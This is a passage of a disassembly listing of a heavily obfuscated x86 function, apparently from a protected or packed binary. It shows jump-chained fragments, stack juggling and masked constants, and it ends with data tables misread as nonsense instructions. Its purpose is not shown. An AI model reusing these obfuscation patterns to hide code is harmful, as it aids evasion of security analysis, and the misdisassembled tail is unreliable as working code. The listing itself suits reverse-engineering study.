; ---------------------------------------------------------------------------


loc_58D7EC:				; CODE XREF: sub_57DD3A+58E1j
		pop	esp
		and	eax, esi
		mov	esi, [esp+0A4h+var_A4]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ebx
		push	1
		pop	ebx
		add	[esp+0A8h+var_A4], 0EA127DBh
		add	[esp+0A8h+var_A4], ebx
		push	edx
		jmp	loc_589E54
; ---------------------------------------------------------------------------


loc_58D815:				; CODE XREF: sub_57DD3A+CE80j
		pop	ecx
		mov	ah, byte ptr [esp+62h+var_60+2]
		mov	byte ptr [esp+62h+var_60+2], bl
		pop	ebx
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+5Eh+var_60+2]
		push	0D82h
		mov	[esp+62h+var_64+2], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 692B4DB6h
		xor	ebx, 78344D1Eh
		shl	ebx, 2
		jmp	loc_58A146
; ---------------------------------------------------------------------------


loc_58D84C:				; CODE XREF: sub_57DD3A+DAA6j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58D851:				; CODE XREF: sub_57DD3A+F403j
		pop	esp
		xor	[esp], eax
		jmp	loc_58AE8E
; ---------------------------------------------------------------------------


loc_58D85A:				; CODE XREF: sub_57DD3A+6ACDj
		push	edx
		push	edi
		jmp	loc_5849F2
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0C8h+var_C8]
		push	esi
		mov	esi, esp
		push	ecx
		push	5184h
		jmp	loc_588270
; ---------------------------------------------------------------------------


loc_58D873:				; CODE XREF: sub_57DD3A+C54Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp+7Eh+var_80+2], edx
		mov	edx, 4
		add	ecx, edx
		push	[esp+7Eh+var_80+2]
		jmp	loc_583A31
; ---------------------------------------------------------------------------


loc_58D891:				; CODE XREF: sub_57DD3A+A435j
		not	ecx
		shr	ecx, 3
		jmp	loc_586DE5
; ---------------------------------------------------------------------------


loc_58D89B:				; CODE XREF: sub_57DD3A+99BBj
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+82h+var_84+2]
		pop	esp
		xchg	esi, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		jmp	loc_58B19F
; ---------------------------------------------------------------------------


loc_58D8B6:				; CODE XREF: sub_57DD3A+AED1j
		mov	ecx, 1
		push	ecx
		xor	[esp+9Eh+var_A0+2], 0EB02A87h
		pop	eax
		jmp	loc_589DDB
; ---------------------------------------------------------------------------


loc_58D8C9:				; CODE XREF: sub_57DD3A+BCE4j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58D8CE:				; CODE XREF: sub_57DD3A+E710j
		add	al, 0C4h
		add	al, bl
		sub	al, 0C4h
		push	edx
		push	bx
		mov	bl, 0DBh
		mov	dh, bl
		jmp	loc_583029
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+68h+var_68]
		jmp	loc_58BDF1
; ---------------------------------------------------------------------------


loc_58D8E9:				; CODE XREF: sub_57DD3A+AADCj
		sub	ch, 9Fh
		push	ecx
		mov	ch, 9Eh
		sub	al, ch
		pop	ecx
		jmp	loc_58AC36
; ---------------------------------------------------------------------------


loc_58D8F7:				; CODE XREF: sub_57DD3A+86EFj
		xor	al, 2Dh
		sub	ch, al
		jmp	loc_5840F4
; ---------------------------------------------------------------------------


loc_58D900:				; CODE XREF: sub_57DD3A+6DE6j
		add	esi, 6FB30E80h
		push	edi
		mov	edi, 4CE24C11h
		or	edi, 2D644215h
		and	edi, 7F304540h
		shl	edi, 6
		xor	edi, 64967C04h
		add	esi, edi
		pop	edi
		sub	esi, edx
		push	ebp
		jmp	loc_582A66
; ---------------------------------------------------------------------------


loc_58D92C:				; CODE XREF: sub_57DD3A+E82Bj
		pop	edi
		push	ecx
		jmp	loc_58A0C7
; ---------------------------------------------------------------------------


loc_58D933:				; CODE XREF: sub_57DD3A+C774j
		sub	esp, 4
		jmp	loc_588D2F
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, 11AE4707h
		jmp	loc_583778
; ---------------------------------------------------------------------------


loc_58D94A:				; CODE XREF: sub_57DD3A+C4C5j
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, 79771D31h
		sub	ebx, edi
		pop	edi
		sub	ebx, eax
		add	ebx, 79771D31h
		jmp	loc_5896B7
; ---------------------------------------------------------------------------


loc_58D967:				; CODE XREF: sub_57DD3A+74C0j
		add	[esp+0C0h+var_C0], 336E48FEh
		add	[esp+0C0h+var_C0], eax
		sub	[esp+0C0h+var_C0], 336E48FEh
		sub	esp, 4
		mov	[esp+0C4h+var_C4], esi
		mov	esi, 193A5BDDh
		add	[esp+0C4h+var_C0], esi
		mov	esi, [esp+0C4h+var_C4]
		add	esp, 4
		jmp	loc_589409
; ---------------------------------------------------------------------------


loc_58D995:				; CODE XREF: sub_57DD3A+FA6Dj
		mov	ecx, [esp+76h+var_78+2]
		push	ebx
		mov	ebx, esp
		jmp	loc_58BBDD
; ---------------------------------------------------------------------------


loc_58D9A0:				; CODE XREF: sub_57DD3A+F924j
		sub	esp, 4
		mov	[esp+72h+var_74+2], ebp
		push	edx
		jmp	loc_5845A5
; ---------------------------------------------------------------------------


loc_58D9AF:				; CODE XREF: sub_57DD3A+6682j
		mov	ebp, ecx
		jmp	loc_5878C5
; ---------------------------------------------------------------------------


loc_58D9B6:				; CODE XREF: sub_57DD3A+5B02j
		push	edx
		mov	dl, 0CAh
		add	dl, 1
		neg	dl
		push	ebx
		mov	bh, 19h
		jmp	loc_586D39
; ---------------------------------------------------------------------------


loc_58D9C6:				; CODE XREF: sub_57DD3A+A8C1j
		add	ebx, 5BB422CAh
		push	dword ptr [esp+0]
		pop	edx
		push	esi
		jmp	loc_581E35
; ---------------------------------------------------------------------------


loc_58D9D6:				; CODE XREF: sub_57DD3A+5751j
		add	edi, 2
		push	edi
		push	[esp+0D0h+var_CC]
		pop	edi
		pop	[esp+0D0h+var_D0]
		mov	esp, [esp+0CCh+var_CC]
		jmp	loc_5860FC
; ---------------------------------------------------------------------------


loc_58D9ED:				; CODE XREF: sub_57DD3A+9DCEj
		xchg	eax, [esp+6Eh+var_70+2]
		pop	esp
		jmp	loc_58CEE6
; ---------------------------------------------------------------------------


loc_58D9F6:				; CODE XREF: sub_57DD3A+92D0j
		pop	[esp+78h+var_78]
		pop	esp
		mov	cx, word ptr [esp+70h+var_70]
		push	ebx
		mov	ebx, esp
		push	170Bh
		mov	[esp+78h+var_78], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_585412
; ---------------------------------------------------------------------------


loc_58DA16:				; CODE XREF: sub_57DD3A+F3F6j
		pop	[esp+0D8h+var_D8]
		pop	eax
		push	6C8Ah
		jmp	loc_58496A
; ---------------------------------------------------------------------------


loc_58DA24:				; CODE XREF: sub_57DD3A+4127j
		sub	esp, 4
		mov	[esp+86h+var_88+2], edi
		mov	edi, 0DB1D864Fh
		add	ebp, edi
		jmp	loc_58C811
; ---------------------------------------------------------------------------


loc_58DA39:				; CODE XREF: sub_57DD3A+69C8j
		shr	ebp, 2
		shr	ebp, 6
		jmp	loc_58CA7B
; ---------------------------------------------------------------------------


loc_58DA44:				; CODE XREF: sub_57DD3A+4629j
		xor	[esp+76h+var_78+2], eax
		xor	eax, [esp+76h+var_78+2]
		pop	esp
		sub	esp, 4
		mov	[esp+76h+var_78+2], ebp
		jmp	loc_5863E0
; ---------------------------------------------------------------------------


loc_58DA56:				; CODE XREF: sub_57DD3A+724Bj
		sub	eax, 4
		xchg	eax, [esp+0ACh+var_AC]
		pop	esp
		mov	[esp+0A8h+var_A8], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	7D2Bh
		mov	[esp+0A8h+var_A8], eax
		jmp	loc_58BBC5
; ---------------------------------------------------------------------------


loc_58DA75:				; CODE XREF: sub_57DD3A+444Bj
		mov	ebx, [esp+72h+var_74+2]
		add	esp, 4
		neg	ebx
		jmp	loc_58695B
; ---------------------------------------------------------------------------


loc_58DA82:				; CODE XREF: sub_57DD3A+A85Cj
		pop	esp
		mov	[esp+0B8h+var_B8], eax
		mov	eax, 56206DF5h
		and	eax, 667C7E78h
		and	eax, 4CCF4122h
		sub	eax, 0F0D9E02Bh
		xor	edi, eax
		jmp	loc_58D781
; ---------------------------------------------------------------------------


loc_58DAA1:				; CODE XREF: sub_57DD3A+8973j
		xchg	ebp, [esp+0C8h+var_C8]
		pop	esp
		xchg	esi, [esp+0C4h+var_C4]
		mov	esp, [esp+0C4h+var_C4]
		mov	word ptr [esp+0C4h+var_C4], ax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_58483C
; ---------------------------------------------------------------------------


loc_58DABE:				; CODE XREF: sub_57DD3A+A6C8j
		and	ebp, ebx
		pop	ebx
		jmp	loc_587EB6
; ---------------------------------------------------------------------------


loc_58DAC6:				; CODE XREF: sub_57DD3A+EE28j
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 5C505D09h
		jmp	loc_5842B2
; ---------------------------------------------------------------------------


loc_58DAD8:				; CODE XREF: sub_57DD3A+6566j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DADD:				; CODE XREF: sub_57DD3A+6B06j
		mov	word ptr [esp+82h+var_84+2], ax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DAE6:				; CODE XREF: sub_57DD3A+FE8Dj
		push	esi
		mov	esi, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+8Ah+var_8C+2]
		pop	esp
		mov	[esp+86h+var_88+2], ebp
		mov	ebp, 9826EEAh
		not	ebp
		neg	ebp
		jmp	loc_581E5B
; ---------------------------------------------------------------------------


loc_58DB0A:				; CODE XREF: sub_57DD3A+4AC5j
		push	[esp+0B0h+var_B0]
		pop	ebp
		add	esp, 4
		xor	edx, eax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DB1B:				; CODE XREF: sub_57DD3A+F11Dj
		push	[esp+0B8h+var_B4]
		jmp	loc_587E1C
; ---------------------------------------------------------------------------


loc_58DB24:				; CODE XREF: sub_57DD3A+8379j
		xor	edx, 11DB28B9h
		xor	eax, edx
		pop	edx
		xor	eax, 582AF350h
		mov	ebx, eax
		pop	eax
		add	ebx, 367E5221h
		add	ebx, edi
		sub	ebx, 367E5221h
		push	edx
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], ebx
		mov	bl, al
		mov	dl, bl
		mov	ebx, [esp+4Ah+var_4C+2]
		add	esp, 4
		mov	[ebx], dl
		jmp	loc_587A2C
; ---------------------------------------------------------------------------


loc_58DB5B:				; CODE XREF: sub_57DD3A+4525j
		mov	[esp+76h+var_78+2], esp
		jmp	loc_588540
; ---------------------------------------------------------------------------
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DB68:				; CODE XREF: sub_57DD3A+A2F2j
		pop	ebp
		sub	edx, 4
		push	edx
		push	[esp+90h+var_8C]
		pop	edx
		pop	[esp+90h+var_90]
		pop	esp
		jmp	loc_5842A5
; ---------------------------------------------------------------------------


loc_58DB7B:				; CODE XREF: sub_57DD3A+7DC0j
		and	edx, edi
		jmp	loc_588684
; ---------------------------------------------------------------------------


loc_58DB82:				; CODE XREF: sub_57DD3A+707Dj
		xor	esi, 183558Dh
		jmp	loc_583EF5
; ---------------------------------------------------------------------------


loc_58DB8D:				; CODE XREF: sub_57DD3A+3D15j
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	[esp+5Eh+var_60+2]
		pop	ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_589985
; ---------------------------------------------------------------------------


loc_58DBA0:				; CODE XREF: sub_57DD3A+AF11j
		xor	ebp, [esp+70h+var_70]
		pop	esp
		and	[esp+6Ch+var_6C], eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DBAD:				; CODE XREF: sub_57DD3A+C699j
		add	ebx, edi
		jmp	loc_5846F4
; ---------------------------------------------------------------------------


loc_58DBB4:				; CODE XREF: sub_57DD3A+C519j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58BC60
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+98h+var_98]
		jmp	loc_58DAE6
; ---------------------------------------------------------------------------
		push	[esp+98h+var_98]
		jmp	loc_58C626
; ---------------------------------------------------------------------------


loc_58DBD4:				; CODE XREF: sub_57DD3A+D460j
		push	ebx
		jmp	loc_58380D
; ---------------------------------------------------------------------------


loc_58DBDA:				; CODE XREF: sub_57DD3A+C46Cj
		mov	bh, 0A1h
		add	bh, 25h
		add	al, bh
		pop	ebx
		jmp	loc_58AA0D
; ---------------------------------------------------------------------------


loc_58DBE7:				; CODE XREF: sub_57DD3A+D128j
		pop	esi
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+7Eh+var_80+2]
		jmp	loc_589150
; ---------------------------------------------------------------------------


loc_58DBF9:				; CODE XREF: sub_57DD3A+7CACj
		pop	esi
		shl	esi, 4
		add	esi, 0FBC0827Bh
		push	edx
		mov	edx, 35D395Dh
		add	ebx, edx
		pop	edx
		sub	ebx, esi
		sub	ebx, 35D395Dh
		jmp	loc_584391
; ---------------------------------------------------------------------------


loc_58DC19:				; CODE XREF: sub_57DD3A+9495j
		push	ebp
		mov	ebp, 2DAB1B79h
		add	[esp+62h+var_60+2], 0DC0613Ch
		sub	[esp+62h+var_60+2], ebp
		sub	[esp+62h+var_60+2], 0DC0613Ch
		jmp	loc_58C25F
; ---------------------------------------------------------------------------


loc_58DC38:				; CODE XREF: sub_57DD3A+10137j
		mov	eax, [esp+62h+var_64+2]
		add	esp, 4
		pop	[esp+5Eh+var_60+2]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_58524C
; ---------------------------------------------------------------------------


loc_58DC4A:				; CODE XREF: sub_57DD3A+8947j
		add	ebp, 3ADCA1B1h
		mov	edi, ebp
		pop	ebp
		add	eax, edi
		pop	edi
		push	5B0Ch
		mov	[esp+9Ch+var_9C], esi
		mov	esi, 75A3177Ah
		xor	esi, 67993219h
		shr	esi, 1
		push	796Bh
		mov	[esp+0A0h+var_A0], ebx
		mov	ebx, 0
		jmp	loc_584E2B
; ---------------------------------------------------------------------------


loc_58DC7D:				; CODE XREF: sub_57DD3A+C47Dj
		sub	esp, 4
		mov	[esp+90h+var_90], ebx
		mov	ebx, 1
		jmp	loc_581F3F
; ---------------------------------------------------------------------------


loc_58DC8D:				; CODE XREF: sub_57DD3A+F8FEj
		mov	[esp+7Eh+var_80+2], eax
		jmp	loc_588F70
; ---------------------------------------------------------------------------


loc_58DC95:				; CODE XREF: sub_57DD3A+932Bj
		mov	al, 0A1h
		push	edx
		sub	esp, 4
		jmp	loc_582626
; ---------------------------------------------------------------------------


loc_58DCA3:				; CODE XREF: sub_57DD3A+4A76j
		sub	edx, 4C49A795h
		mov	esi, edx
		push	[esp+0AAh+var_AC+2]
		pop	edx
		add	esp, 4
		jmp	loc_58260E
; ---------------------------------------------------------------------------


loc_58DCB7:				; CODE XREF: sub_57DD3A+667Bj
		dec	esi
		dec	esi
		xor	esi, 56BE7B77h
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp+0B2h+var_B4+2]
		pop	esp
		pop	[esp+0AEh+var_B0+2]
		jmp	loc_586587
; ---------------------------------------------------------------------------


loc_58DCD4:				; CODE XREF: sub_57DD3A+5009j
		push	ebp
		mov	ebp, 4A4023B8h
		add	eax, ebp
		pop	ebp
		push	4F41h
		mov	[esp+96h+var_98+2], ebx
		mov	ebx, 5AECF657h
		jmp	loc_58851C
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+96h+var_98+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	7152h
		mov	[esp+9Eh+var_A0+2], ecx
		mov	ecx, 5C213924h
		add	ecx, 268A4031h
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ecx, edx
		pop	edx
		shr	ecx, 2
		shr	ecx, 4
		sub	ecx, 20AADE3h
		push	edi
		jmp	loc_58D797
; ---------------------------------------------------------------------------


loc_58DD2A:				; CODE XREF: sub_57DD3A+EA3Cj
		mov	esi, 371E1CBBh
		jmp	loc_58A539
; ---------------------------------------------------------------------------


loc_58DD34:				; CODE XREF: sub_57DD3A+64E1j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DD39:				; CODE XREF: sub_57DD3A+DA72j
		xchg	edi, [esp+88h+var_88]
		pop	esp
		push	esi
		push	[esp+88h+var_84]
		mov	esi, [esp+8Ch+var_8C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58D127
; ---------------------------------------------------------------------------


loc_58DD53:				; CODE XREF: sub_57DD3A+52D6j
		mov	ch, 0F7h
		mov	al, ch
		pop	cx
		add	al, dh
		pop	edx
		push	eax
		mov	ah, 0EFh
		add	bl, ah
		jmp	loc_5877E7
; ---------------------------------------------------------------------------


loc_58DD66:				; CODE XREF: sub_57DD3A+49FFj
		mov	edx, 9C6326CCh
		sub	eax, edx
		pop	edx
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		pop	eax
		add	eax, 625F00B4h
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DD88:				; CODE XREF: sub_57DD3A+ED3Cj
		add	esp, 4
		jmp	loc_5864A7
; ---------------------------------------------------------------------------


loc_58DD90:				; CODE XREF: sub_57DD3A+E0F2j
		pop	ecx
		jmp	loc_584A83
; ---------------------------------------------------------------------------


loc_58DD96:				; CODE XREF: sub_57DD3A+A060j
		pop	esp
		pop	ebp
		push	ebx
		mov	ebx, 2BBC2E99h
		jmp	loc_58C2C4
; ---------------------------------------------------------------------------


loc_58DDA3:				; CODE XREF: sub_57DD3A+6171j
		mov	eax, 4
		push	edi
		mov	edi, 35776832h
		add	ebp, edi
		pop	edi
		sub	ebp, eax
		jmp	loc_581AE4
; ---------------------------------------------------------------------------


loc_58DDB8:				; CODE XREF: sub_57DD3A+E638j
		add	esi, ebp
		push	eax
		jmp	loc_58627F
; ---------------------------------------------------------------------------


loc_58DDC0:				; CODE XREF: sub_57DD3A+830Fj
		add	esp, 4
		push	eax
		pop	ebp
		mov	eax, [esp+86h+var_88+2]
		jmp	loc_58A2A5
; ---------------------------------------------------------------------------


loc_58DDCD:				; CODE XREF: sub_57DD3A+4808j
		mov	[esp+0ACh+var_AC], edi
		jmp	loc_5848B9
; ---------------------------------------------------------------------------


loc_58DDD5:				; CODE XREF: sub_57DD3A+7D45j
		push	ecx
		mov	cl, dh
		jmp	loc_586825
; ---------------------------------------------------------------------------


loc_58DDDD:				; CODE XREF: sub_57DD3A+CF39j
		mov	esi, 4
		sub	edx, esi
		mov	esi, [esp+94h+var_94]
		add	esp, 4
		xchg	edx, [esp+90h+var_90]
		pop	esp
		mov	[esp+8Ch+var_8C], edi
		mov	edi, 6EA0A59Eh
		xor	eax, edi
		mov	edi, [esp+8Ch+var_8C]
		jmp	loc_5875C2
; ---------------------------------------------------------------------------


loc_58DE00:				; CODE XREF: sub_57DD3A+8C32j
		add	ebx, 334D04BFh
		sub	ebx, ecx
		push	ebp
		mov	ebp, 180F17BBh
		shl	ebp, 1
		jmp	loc_584B57
; ---------------------------------------------------------------------------


loc_58DE15:				; CODE XREF: sub_57DD3A+7DB6j
		mov	edi, 15D303F6h
		sub	eax, 3A295A30h
		add	eax, edi
		add	eax, 3A295A30h
		pop	edi
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DE2C:				; CODE XREF: sub_57DD3A+EF58j
		push	554Ah
		jmp	loc_5888B3
; ---------------------------------------------------------------------------


loc_58DE36:				; CODE XREF: sub_57DD3A+4965j
		xor	edi, [esp+8Ah+var_8C+2]
		mov	esp, [esp+8Ah+var_8C+2]
		inc	[esp+8Ah+var_8C+2]
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DE45:				; CODE XREF: sub_57DD3A+97A2j
		mov	dl, al
		pop	eax
		pop	bx
		push	ebx
		mov	bh, 0D5h
		sub	al, 67h
		sub	al, bh
		sub	esp, 2
		mov	word ptr [esp+70h+var_70], bx
		mov	bl, 67h
		add	al, bl
		jmp	loc_5895B9
; ---------------------------------------------------------------------------


loc_58DE61:				; CODE XREF: sub_57DD3A+8303j
		add	esp, 4
		add	eax, 4
		push	eax
		push	[esp+7Ch+var_78]
		jmp	loc_58DC38
; ---------------------------------------------------------------------------


loc_58DE76:				; CODE XREF: sub_57DD3A+7F6Fj
		push	edi
		jmp	loc_588585
; ---------------------------------------------------------------------------


loc_58DE7C:				; CODE XREF: sub_57DD3A+A9F4j
		add	ebx, 4
		push	ebx
		push	[esp+72h+var_70+2]
		jmp	loc_58C1DB
; ---------------------------------------------------------------------------


loc_58DE8C:				; CODE XREF: sub_57DD3A+57F1j
		push	556Fh
		mov	[esp+9Ah+var_9C+2], ebp
		mov	ebp, esp
		jmp	loc_583B2C
; ---------------------------------------------------------------------------


loc_58DE9B:				; CODE XREF: sub_57DD3A+E9B8j
		mov	ebx, 40AA226Bh
		jmp	loc_5866F6
; ---------------------------------------------------------------------------


loc_58DEA5:				; CODE XREF: sub_57DD3A+A77Cj
		pop	esi
		push	0
		sub	[esp+86h+var_88+2], edx
		pop	edx
		jmp	loc_58BF79
; ---------------------------------------------------------------------------


loc_58DEB4:				; CODE XREF: sub_57DD3A+102D9j
		add	dl, 0B1h
		jmp	loc_58AAEE
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DEC4:				; CODE XREF: sub_57DD3A+A76Fj
		mov	edx, [esp+6Eh+var_70+2]
		sub	esp, 4
		mov	[esp+72h+var_74+2], ebx
		sub	esp, 4
		jmp	loc_5863CC
; ---------------------------------------------------------------------------


loc_58DEDB:				; CODE XREF: sub_57DD3A+DDCCj
		push	ebx
		mov	ebx, 1CC2663Dh
		jmp	loc_58B1BC
; ---------------------------------------------------------------------------
		push	[esp+0B8h+var_B8]
		mov	ecx, [esp+0BCh+var_BC]
		add	esp, 4
		push	28C9h
		mov	[esp+0BCh+var_BC], ebx
		push	1AFEh
		mov	[esp+0C0h+var_C0], esp
		jmp	loc_58B5C2
; ---------------------------------------------------------------------------


loc_58DF07:				; CODE XREF: sub_57DD3A+6A5Bj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DF0C:				; CODE XREF: sub_57DD3A+77A2j
		pop	ecx
		add	al, 0DFh
		push	ebx
		jmp	loc_583DF8
; ---------------------------------------------------------------------------


loc_58DF15:				; CODE XREF: sub_57DD3A+3D1Bj
		mov	ebp, 0D76CE189h
		sub	esi, ebp
		jmp	loc_587EEE
; ---------------------------------------------------------------------------


loc_58DF21:				; CODE XREF: sub_57DD3A+B9B7j
		push	1B3Bh
		mov	[esp+6Ah+var_6C+2], esi
		push	ebx
		mov	ebx, 1
		push	esi
		jmp	loc_589904
; ---------------------------------------------------------------------------


loc_58DF35:				; CODE XREF: sub_57DD3A+C476j
		xor	ebp, edx
		xor	edx, ebp
		add	edx, 452336BCh
		sub	eax, edx
		jmp	loc_585326
; ---------------------------------------------------------------------------


loc_58DF46:				; CODE XREF: sub_57DD3A+52CFj
		push	[esp+84h+var_80]
		mov	edi, [esp+88h+var_88]
		jmp	loc_5834C9
; ---------------------------------------------------------------------------
		push	786h
		mov	[esp+8Ch+var_8C], esi
		push	0FEh
		pop	esi
		jmp	loc_585D98
; ---------------------------------------------------------------------------


loc_58DF65:				; CODE XREF: sub_57DD3A+6AF7j
		xor	al, bl
		push	4220h
		mov	[esp+92h+var_94+2], ecx
		jmp	loc_58CD8D
; ---------------------------------------------------------------------------


loc_58DF74:				; CODE XREF: sub_57DD3A+7774j
		add	esp, 4
		sub	esp, 4
		mov	[esp+72h+var_74+2], eax
		jmp	loc_586712
; ---------------------------------------------------------------------------


loc_58DF88:				; CODE XREF: sub_57DD3A+DF8Aj
		mov	eax, 7D7745C9h
		xor	eax, 6D5B4E1Fh
		inc	eax
		push	edi
		mov	edi, 19154C1Ch
		jmp	loc_58B9C2
; ---------------------------------------------------------------------------


loc_58DF9E:				; CODE XREF: sub_57DD3A+4B51j
		add	edx, eax
		pop	eax
		xchg	edx, [esp+96h+var_98+2]
		pop	esp
		push	edx
		push	36FEh
		push	esp
		pop	[esp+9Eh+var_A0+2]
		add	[esp+9Ah+var_9C+2], 4
		jmp	loc_5826C7
; ---------------------------------------------------------------------------


loc_58DFBB:				; CODE XREF: sub_57DD3A+972Ej
		push	ebx
		mov	ebx, 46774A82h
		push	esi
		mov	esi, 662A071Ah
		add	esi, 0D5110C1Ah
		or	ebx, esi
		pop	esi
		add	ebx, 8A909FCh
		sub	ebx, 61867ADEh
		jmp	loc_5858AE
; ---------------------------------------------------------------------------


loc_58DFE1:				; CODE XREF: sub_57DD3A+E6C9j
		add	edi, 106F5CE9h
		push	3375h
		mov	[esp+86h+var_88+2], ebp
		mov	ebp, 15C6357Fh
		shr	ebp, 6
		push	ecx
		mov	ecx, 7A81E37h
		or	ebp, ecx
		jmp	loc_589633
; ---------------------------------------------------------------------------


loc_58E004:				; CODE XREF: sub_57DD3A+580Ej
		push	626E5171h
		jmp	loc_58BA1E
; ---------------------------------------------------------------------------


loc_58E00E:				; CODE XREF: sub_57DD3A+5432j
		pop	cx
		shl	dl, 8
		jmp	loc_58DEB4
; ---------------------------------------------------------------------------


loc_58E018:				; CODE XREF: sub_57DD3A+D00Aj
		push	esp
		pop	[esp+0D0h+var_D0]
		push	edx
		mov	edx, 4
		add	[esp+0D0h+var_CC], edx
		pop	edx
		jmp	loc_58AA2E
; ---------------------------------------------------------------------------
		dd 0FA429A2Fh, 5E73E9h,	58274E41h, 7C90EB94h, 5ED535h
		dd 12FF4Ch, 5E68BCh, 213h, 2, 1, 5, 0FA429A2Fh,	5 dup(0)
		dd offset loc_5A046A
		dd offset off_597B6E
		dd offset loc_59C58A
		dd offset loc_59B026
		dd offset loc_59F83D
		dd offset loc_58E486
		dd offset loc_598578
		dd offset loc_59ABF9
		dd offset loc_59D955
		dd offset loc_59FB44
		dd offset loc_59D68F
		dd offset loc_597440
		dd offset loc_59EDF0
		dd offset loc_596920
		dd offset loc_592449
		dd offset loc_59E158
		dd offset loc_597CE3
		dd offset loc_59CC0C
		dd offset loc_5956DE
		dd offset loc_59F633
		dd offset loc_5A2187
		dd offset loc_5A09E9
		dd offset loc_593F04
; ---------------------------------------------------------------------------
		sar	dh, 58h
		add	ch, al
		mov	edi, 0B9350059h
		pop	ecx
		add	[ebx+400059A0h], al
		jno	short loc_58E138
		add	[eax+59h], dl
		add	[eax+4E0059CAh], al
		add	bl, [edx+0]
		mov	dl, 12h
		pop	edx
		add	[edi], ch
		sub	al, 59h
		add	cl, ch
		pop	ss
		pop	edx
		add	[ebx], ah
		mov	ebx, 892B0059h
		pop	ecx
		add	[edi+ebp], bl
		pop	ecx
		add	[ecx], bh
		db	2Eh
		pop	edx
		add	[edi], bh
		jmp	short near ptr loc_58E163+1
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_59FEB0
		dd offset loc_59E187
		dd offset aN_uacWsWcmrFN1 ; "­-_UAc)ØWS»WcŒr¿(FÅn1ß[h-("
		dd offset loc_59D30F
		dd offset loc_59C407
		dd offset loc_5A0246
		dd offset loc_59EDCD
		dd offset loc_59428C
		dd offset loc_591554
		dd offset loc_59FB2D
		dd offset loc_59F235
; ---------------------------------------------------------------------------


loc_58E138:				; CODE XREF: sub_57DD3A+103A3j
		scasd
		setalc
		pop	ecx
		add	dh, ah
		out	dx, eax
		pop	eax
		add	[eax+6A00595Ah], dl
		insb
		pop	ecx
		add	al, dh
		rep pop	eax
		add	[ebx+16h], al
		pop	edx
		add	[ebx-39h], ah
		pop	ecx
		add	[eax+2], dl
		pop	ecx
		add	[ebx-1FFA6F1h],	bh
		sbb	dword ptr [ecx+0], 5Ah
		xchg	eax, ebp
		pop	ecx


loc_58E163:				; CODE XREF: sub_57DD3A+103CFj
		add	[ebp-78h], al
		pop	ecx
		add	dh, dh
		pop	es
		pop	ecx
		add	[ecx+ebx*8+13170059h], bh
		pop	edx
		add	[edi+10h], ch
		pop	ecx
		add	[edi], cl
		out	58h, eax
		add	[ebx], bh
		inc	esi
		pop	ecx
		add	dl, ah
		lahf
		pop	ecx
		add	[ecx-49FFA679h], cl
		mov	dh, 59h
		add	[ebp+720058E9h], dl
		setalc
		pop	ecx
		add	[edi], dl


loc_58E195:				; CODE XREF: sub_57DD3A+104BEj
		test	eax, 395C0059h
		pop	ecx
		add	[ebp-2AFFA60Eh], bh
		adc	eax, 5D20059h
		pop	ecx
		add	al, bh
		db	26h
		pop	edx
		add	[edx-65FFA659h], dh
		call	fword ptr [eax+0]
		pop	ebp
		rcr	dword ptr [ecx+0], cl
		out	dx, eax
		mov	ebx, 0FF2D0059h
		pop	ecx
		add	[eax], ah
		test	[ecx+0], ebx
		add	edx, [ebx+59h]
		add	[eax+1], cl
		pop	edx
		add	byte ptr [esp+eax*4+70h+var_1A+3], al
		add	al, bl
		and	[edx+0], bl
		mov	eax, es:62440059h
		pop	ecx
		add	[esi], dh
		outsd
		pop	ecx
		add	[edi-72h], bl
		pop	ecx
		add	[eax-50h], dh
		pop	ecx
		add	[ebx-2Fh], ch
		pop	ecx
		add	[ebx-5Fh], bl
		pop	ecx
		add	[edi+3Eh], al
		pop	ecx
		add	ah, bl
